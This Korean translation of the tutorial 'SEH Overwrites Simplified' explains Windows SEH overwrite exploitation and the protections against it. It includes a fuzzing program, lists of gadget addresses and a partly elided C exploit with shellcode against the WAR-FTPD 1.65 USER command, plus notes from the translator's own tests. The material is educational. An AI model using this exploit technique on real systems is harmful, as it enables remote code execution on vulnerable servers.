SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다. 물론관련된정보역시문서화될것입니다. 본문서를이해하기위해서는 C언어, Stack, Stack 기반의 buffer overflow에대한기본적인지식이필요합니다. SEH Handler 는무엇인가? 예외처리는정상적인프로그램의실행이외의상태가발생하는것을다루기위해설계된많은프로그래밍언어에포함되어있습니다 ; 이런정상적이지않은상태를예외라고합니다. Microsoft는 Structured Exception Handler라는예외를다루는함수를만들었습니다. SEH Overwrite를할때 SEH Handler를가리키는포인터는 overwrite의목표가되며, 이를 overwrite를함으로써프로그램을 control할수있습니다. Next SEH 를가리키는포인터? Next SEH를가리키는포인터는 Stack에서뒤에위치한다른 Structured Exception Handler를가리킵니다. 1 본문서의원본은 http://www.milw0rm.com/papers/187 에서볼수있습니다. 또한역자가직접 테스트및추가한사항은기울임꼴로나타냈습니다.
Diagram of Stack: Structured Exception Handler struct Code typedef struct EXCEPTION_REGISTRATION { _EXCEPTION_REGISTRATION *next; PEXCEPTION_HANDLER *handler; } EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; Microsoft 의 Stack 보호 /GS Flag [EIP Overwrite 와 Exploitation 보호 ] Microsoft Visual C++ 2003/2005( 컴파일러 ) 는 /GS Flag가기본적으로설정되어있습니다. 이 flag 가설정되면 EIP Overwrite에대한보호기능이프로그램에추가됩니다. Stack Cookie 가 Stack 상에서 EBP와 EIP 전에위치하게되고, 만약이 Stack Cookie 가 overwrite되면메모리상에어딘가위치하고있는값 (Stack에있던 Cookie 값과비교대상이되는, 보통 data section에위치 ) 과달라져서프로그램이종료될것입니다.
추가자료 http://www.symantec.com/avcenter/reference/gs_protections_in_vista.pdf SEH Handler 를가리키는포인터의주소범위제한 SEH Handler가 overwrite되어 exploitation되는것을막기위해 Microsoft는보호기법을수정했습니다. 다음몇가지제한들이현재고려되어야합니다. 1. SEH Handler의주소는 Stack 상에있을수없다. 2. SEH Handler의주소는 Microsoft가지정한모듈안에있을수없다. Software DEP SEH 보호 / SAFESEH Software 데이터실행방지 (Data Execution Prevention) 는 Microsoft가 Windows XP SP2에추가한선택적인보호기법입니다. 이름에서알수있듯이이보호기법은 hardware DEP와유사한기능의 software 보호기능을제공합니다. 그러나이모든보호기법이 SEH Overwrite를방지하기위한것은아닙니다 ( 이기법은우회가능 ). 이보호기법은 SEH Handler를가리키는포인터를검사해서등록된 exception handler 목록에있는지확인합니다. 만약목록에없으면그포인터가가리키는곳은호출되지않습니다. Software DEP는 Stack의어떤영역도실행불가능하도록하지않습니다. /SAFESEH를우회하는방법은 /SAFESEH로컴파일되지않은 Windows 시스템프로세스내의주소를사용하는것입니다. 이문서는 Software DEP 나 /SAFESEH로보호된실행파일을무력화시키는방법은다루지않습니다. Security Cookie 생성예제 [ Defeating Windows 2k3 Stack Protection 에서발췌 ] #include <stdio.h> #include <windows.h> int main() { FILETIME flt; unsigned int Cookie=0; unsigned int temp=0; unsigned int *ptr=0; LARGE_INTEGER perfcount;
GetSystemTimeAsFileTime(&ft); Cookie = ft.dwhighdatetime ^ ft.dwlowdatetime; Cookie = Cookie ^ GetCurrentProcessId(); Cookie = Cookie ^ GetCurrentThreadId(); Cookie = Cookie ^ GetTickCount(); QueryPerformanceCounter(&perfcount); ptr = (unsigned int)&perfcount; tmp = *(ptr+1) ^ * ptr; Cookie = Cookie ^ tmp; // 보시는바와같이 Stack Cookie는 GetSystemTimeAsFileTime(), GetCurrentProcessId() 등과 // 같은여러함수를이용해이를 XOR한값을사용합니다. printf("cookie: %.8X\n", Cookie); return 0; } 적절한주소찾기 다른 Stack 기반 buffer overflow 뿐만아니라 SEH Overwrite를할때시스템과어플리케이션메모리내에위치한명령어집합의주소가종종사용됩니다. EIP를 overwrite할때다른명령어도찾게되지만주로 JMP ESP 나 CALL ESP 를찾습니다. Windows 2000에서 SEH를 overwrite할때는 CALL EBX 를주로찾게되고, 이후의시스템에서는 POP POP RET 를찾습니다. 메모리검색과한계 메모리에올라와동작하는많은 DLL과프로그램내의명령어들중 exploitation 동안에유용하게쓰일명령어들이검색됩니다. 그럼에도불구하고기억해야할것은특정 DLL은모든시스템에존재하지않으며메모리에올라가지않을수있다는점입니다. DLL내의명령어주소는 OS마다서비스팩마다다릅니다. 당신은 exploiting할프로그램의메모리를검색하기로할수있으나프로그램이동작하는환경에따라주소가달라질수있다는것을기억해야합니다.
메모리검색, 어떻게, 무엇을사용할것인가? Windows의메모리를검색하기위해 ( 예를들어로드된 DLL) 우리는 findjmp2(by class101.) 라는프로그램을사용할수있습니다. 다운로드 : http://blackhat-forums.com/downloads/misc/findjmp2.rar Findjmp2.exe loadeddlltosearch.dll register 우리는단지일반적인 POP POP RET이아니라이전시스템을 exploiting할때사용될수있는 CALL EBX와같이많은유용한주소를찾았습니다. 위그림은 EBX 레지스터를사용해서 kernel32.dll내의명령어를찾은결과입니다. SEH overwrite 와 exploitation 이론 Structured Exception Handler의 overwrite를통한 exploitation은플랫폼마다다름에도불구하고그기본적인이론은동일합니다. 단지차이점이라면 Microsoft의이후플랫폼에서는제한이있다는것입니다. 기본적으로 Stack을보겠습니다. 문서앞부분에서제시한 Stack 다이어그램을다시떠올려보시면유사합니다. 이 Stack은단지예제일뿐이며취약한프로그램의 Stack은아닙니다. 아래예제는 Windows 2000 기준입니다.
1. 대상프로그램이 fuzzing 되었고, Stack 은 overwrite 되었습니다. 2. Exploitation [Junk] + [JMP 6 Bytes] + [CALL EBX] + [NOPSLED] + [Shellcode] 이전 Stack 이오른쪽에있는 Stack 으로바뀌어졌습니다. 따라서비교가가능합니다.
무슨일이일어나는가? 예외상황이발생하면 Stack 영역을 overwrite한것때문에 SEH Handler(Next SEH Handler를가리키는포인터가아닌 ) 가호출됩니다. 만약 EIP를잘못된주소로덮어썼다면프로그램이 return할때당연히예외가발생합니다. SEH Handler를가리키는포인터 : CALL EBX EBX는우리의 Next SEH를가리키는포인터를가리킵니다. 원문에서는그림에 POP POP RET로되어있으나이는오타로보여집니다. 설명에서처럼 CALL EBX로바뀌어져야할것입니다. 다음 SEH를가리키는포인터 : 덮어쓴 SEH 포인터를넘어 6bytes를 JMP해서 NOP Sled로갑니다. 물론 shellcode를만날때까지 Stack을따라내려갈것입니다. Windows XP SP2 와 2003 SP1 Exploitation 이론 아래다이어그램은이플랫폼에서 exploitation 이끝난뒤 Stack 의모습을보여줍니다. 위에서보시다시피본문서의이론부분과마찬가지로이전의 Stack과 exploit된 Stack을나란히두었습니다. Windows 2000 SP4와 Windows XP SP2 간의차이점은 SEH Handler가다른주소로덮어쓰여졌다는점입니다 (XP SP1에서는 CALL EBX를할수없으며, 위레지스터는자신과 XOR를
했으므로 0x00000000 을가리키게됩니다 ). POP POP RET? 첫번째 POP은 ESP를 4만큼증가시키고, 두번째도마찬가지기능을합니다. 그리고 RET는 JMP+6과 NOPSLED으로데려가게해줄 Next SEH를가리키는포인터로리턴하게합니다. Fuzzing 예제 우리는 exploitation을위해먼저 Next SEH를가리키는포인터와 SEH를가리키는포인터를덮어쓰기위해얼마의 bytes가필요한지를결정하기위해 fuzzing부터시작합니다. 각주소를 42424242 BBBB [ 다음 SEH를가리키는포인터 ] 와 43434343 CCCC [SEH를가리키는포인터 ] 로덮어쓰도록할것입니다. #include <string.h> #include <stdio.h> //Example Exploit of Fuzzing an application that takes command line argument(s). int main() { char buf[330]; char exploit[346] = "C:\\vulnapp.exe "; char NextSEHHandler[] = "BBBB"; char SEH_Handler[] = "CCCC"; printf("vuln.exe - SEH Overwrite: Fuzz The Stack\n"); memset(buf, 0x41,330); memcpy(&buf[322], NextSEHHandler, sizeof(nextsehhandler)-1); memcpy(&buf[326], SEH_Handler, sizeof(seh_handler)-1); strcat(exploit, buf); WinExec(exploit, 0); return 0; }
Win32 Application- WarFTP 1.65 Exploitation 예제 응용프로그램의실제적인예제를위해 War FTP를사용하도록하겠습니다. 이는다른한계를가지고다른응용프로그램을공격할때실제적인대상 (FTP 데몬 ) 으로서좋은예제입니다. 이예제에서는 FTP Protocol에서사용될수없는문자나문자열이있습니다. 예 : 0x20, 0x0A, 0x0D([Space], \n, \r). 이예제는원문을바탕으로직접수행해본과정을정리한것입니다. 실행환경은 VMWare상의 XP SP2 Professional에서수행하였습니다. WAR-FTPD 1.65 http://www.warftp.org/
이미이프로그램에대해간단하게 fuzzing을수행했다고가정하고 Stack과함께 exploit을보여드리겠습니다. 1. WAR-FTPD를실행하고서버를시작합니다. A. Properties Start Service 2. Ollydbg를실행시켜해당프로세스를 attach 합니다. A. Attach 후에는다시 RUN을눌러실행합니다. 3. Exploit 코드를수행시킵니다. A. Exploit 코드및분석은뒤에서다루겠습니다. C:\...( 생략 ) \warftpduser-exploit.exe" Connection Established... WAR-FTPD 1.65 logon request received... Payload sent. 4. Ollydbg에서 EIP와다음 SEH를가리키는포인터, SEH Handler가덮어쓰여졌음을알수있습니다. Note: NOPSLED와 Shellcode를위해충분한공간이없는취약한 (Stack Buffer Overflow) 응용프로그램을찾을지모릅니다. 그런경우는첫번째, 두번째단계의 shellcode를사용해야만할것입니다.
다음은 WAR-FTPD Exploit code 입니다. 간략한설명은코드내주석으로하겠습니다. #include <stdio.h> #include <winsock2.h> //warftpduser-exploit.c //WAR-FTPD 1.65 Remote Stack Based Buffer Overflow (USER) int main() { ( 생략 ) char user[] = "USER "; char rn[] = "\r\n"; // 입력의끝을나타냄 char pointer_to_next_seh[] = "\xeb\x06\x90\x90"; //JMP 6 char seh_handler[] = "\x50\x69\xc9\x74"; //Windows XP SP2 oleacc.dll POP POP RET char shellcode[] = //MessageBox 뜨는것으로 shellcode 동작확인 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb" //0x0A 존재 "\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2*** "\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb" "\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2*** "\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51" ( 생략 ) "\xff\x4f\x6d\x65\x67\x61\x37\x4e"; memcpy(sendbuffer, user, sizeof(user)-1); // USER memset(&sendbuffer[5], 0x41, 485); // A 로 buffer를 485bytes 채움. memset(&sendbuffer[490], 0x42, 4); // EIP를 B 로덮어씀. memset(&sendbuffer[494], 0x43, 80); //EIP와다음 SEH를가리키는포인터사이의 Stack 공간 // 다음 SEH를가리키는포인터를덮어쓸값 memcpy(&sendbuffer[574], pointer_to_next_seh, sizeof(pointer_to_next_seh)-1); //SEH Handler 주소를덮어쓸값 memcpy(&sendbuffer[578], seh_handler, sizeof(seh_handler)-1); memset(&sendbuffer[582], 0x90, 10); //NOPSLED memcpy(&sendbuffer[592], shellcode, sizeof(shellcode)-1); //SHELLCODE memset(&sendbuffer[702], 0x90, 10); //NOPSLED memcpy(&sendbuffer[712], rn, sizeof(rn)-1); // \r\n, 입력끝 WSAStartup(MAKEWORD(2,2), &wsadata);
( 생략 ) ServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //local machine 대상 if (connect(s1, (SOCKADDR *) &ServerAddr, sizeof(serveraddr))!= -1) { printf("connection Established...\n"); recv(s1, recvbuffer, sizeof(recvbuffer)-1, 0); if( strstr(recvbuffer, "WAR-FTPD 1.65")!= NULL) { printf("war-ftpd 1.65 logon request received...\n"); sleep(1000); send(s1, sendbuffer, 714, 0); //exploit을위한비정상적입력전송 printf("payload sent.\n\n"); } } closesocket(s1); WSACleanup(); return 0; } 앞에서도언급했듯이실행환경에달라짐에따라주소가달라질수있습니다. 문서의 exploit 코드를그대로사용한결과 seh_handler를덮어쓰게될주소 ("0x74C96950, Windows XP SP2 oleacc.dll POP POP RET) 는 POP POP RET이존재하지않을뿐아니라사용되지도않음을알수있었습니다. 따라서일단 exploit을성공시키기위해서는대상시스템에맞는주소를찾아야합니다. 주소를찾는것은위에서언급했던 findjmp2라는프로그램을이용하면쉽게찾을수있습니다. C:\Documents and Settings\freeman>Findjmp2.exe kernel32.dll ebx Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.dll for code useable with the ebx register 0x7C801DA5 pop ebx - pop retbis ( 생략 ) 0x7C87FD73 pop ebx - pop - retbis 0x7C88028C pop ebx - pop - retbis
Finished Scanning kernel32 for code useable with the ebx register Found 212 usable addresses 대상시스템에서돌려본결과 kernel32.dll내에 POP POP RET을쉽게찾을수있었습니다. 또한문서의 shellcode를보면해당시스템에맞는 LoadLibraryA() 와 GetProcAddress() 함수의주소를하드코딩해서넣는것을볼수있습니다. 역시대상시스템에맞게해당함수의주소를찾아 shellcode를고쳐야합니다. 이역시 ollydbg에서 Ctrl+G를이용해 LoadLibraryA(), GetProcAddress() 를입력하면해당함수의시작주소를알수있습니다. 위에서구한주소들로바꾸어 exploit 을다시시도해보겠습니다. 하지만역시 shellcode가제대로동작하지않고 warftpd가종료됨을알수있었습니다. 그원인을찾고자 Stack에 shellcode가제대로들어가있는지살펴보니 shellcode 중간에위에서언급한 0x0A 문자가존재해서그이후의 byte는 Stack에존재하지않았습니다. 그래서 metasploit.com에서 0x00, 0x20, 0x0A, 0x0D를제외한 notepad.exe를실행시키는 shellcode를제작하도록하겠습니다. 먼저 metasploit.com에접속해서 Shellcode-Windows를선택합니다. 그럼현재개발중에있다는메시지밑에 Windows section으로링크가되어있습니다. 링크를선택하면여러가지종류의 shellcode 목록이나오는데이중에서 Windows Execute Command를선택하면각종옵션들을선택할수있습니다.
여기서 CMD를 c:\windows\notepad.exe로, Restricted Characters를 0x00 0x0a 0x0d 0x20으로설정하고 Generate Payload를선택하면다음과같은결과를볼수있습니다. 이렇게얻은 shellcode를사용하여다시시도해보았으나역시실패하였습니다. 그원인을살펴보니본문서위에서도언급이되었지만 XP SP2, 2003에서부터덮어쓰는 SEH Handler 주소가등록된 Handler의주소가아니거나이미로드된모듈내의주소인경우, 그리고 Stack상에위치한경우실행이되지않는다 2 는것이었습니다. 해킹과보안에게재된 SEH Overwrites 문서에서는로드된모듈이아닌 Unicode.nls내에서 ebp+30h를 call하는부분을찾아해결할수있었으나, 이모듈이대상시스템에서 0x00270b0b번지에위치하므로 null byte가삽입되는문제점이역시존재합니다. 따라서이방법역시그대로사용할수가없는것입니다. 다른방법을알고계신다면알려주시면감사하겠습니다. 다만테스트를위하여 ollydbg상에서직접 SEH Handler값을 0x00270b0b로수정하여계속진행해보겠습니다. 2 여기서도확인가능 : SEH Overwrite, lucid78, 해킹과보안 p.437
Shift + F7 을눌러계속진행해나가다보면결국 0x00270b0b로 control이옮겨져 shellcode가수행됨을알수있습니다. Shellcode를계속수행하면 NOTEPAD.EXE 프로세스가화면에뜨지는않으나작업관리자에 notepad.exe가떠있는것을확인할수있습니다. 즉, metasploit에서만든 shellcode에서 GUI 프로그램을보이지않게실행시키는것으로동작한다는것을유추할수있습니다. 지금까지는 XP SP2 Professional에서실행해본결과입니다. 하지만여러가지제약으로인해제대로 exploit이되지않았습니다. 그렇다면 Windows 2000에서똑같은방법으로실행해보도록하겠습니다. 먼저 exploit code내 jump할 instruction 위치를찾습니다. 문서에나온것과같이 2000에서는 CALL EBX를찾으면될것입니다. 위에서이용한 findjmp2를이용해 kernel32.dll내에서 CALL EBX 를찾아보도록하겠습니다. C:\>Findjmp2.exe kernel32.dll ebx Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.dll for code useable with the ebx register 0x77E52F60 call ebx ( 생략 ) 0x77EA600D call ebx 0x77EA6DBE call ebx
Finished Scanning KERNEL32.DLL for code useable with the ebx register Found 198 usable addresses 이중하나를 exploit code내의 seh_handler의주소값으로설정한뒤그대로실행시켜보도록하겠습니다. Exploit code를실행시키면잠시후 WAR-FTPD가종료되고 NOTEPAD.EXE는화면에나타나지않았습니다. 하지만작업관리자를실행시켜보면 NOTEPAD.EXE가실행되었음을알수있고, 다만여러개의 NOTEPAD.EXE가실행된것은 NOTEPAD.EXE를실행시킨후내부적으로 exception이발생해서다시 SEH Handler의호출로인한 shellcode 수행이있었다고생각됩니다. 즉, metasploit에서 shellcode를만들때 exitfunc를 SEH로한것이원인이라생각되어 exitfunc를 process로바꿔보면 NOTEPAD.EXE가 2개생성되고 WAR-FTPD는종료되었습니다. SEH Overwrite Simplified 문서는제목그자체에서말해주듯이간략화된정보만을담고있습니다. 보다자세한내용은 해킹과보안 창간호에 lucid7 님이작성하신 SEH Overwrites과그참고문서를보시면될것같습니다.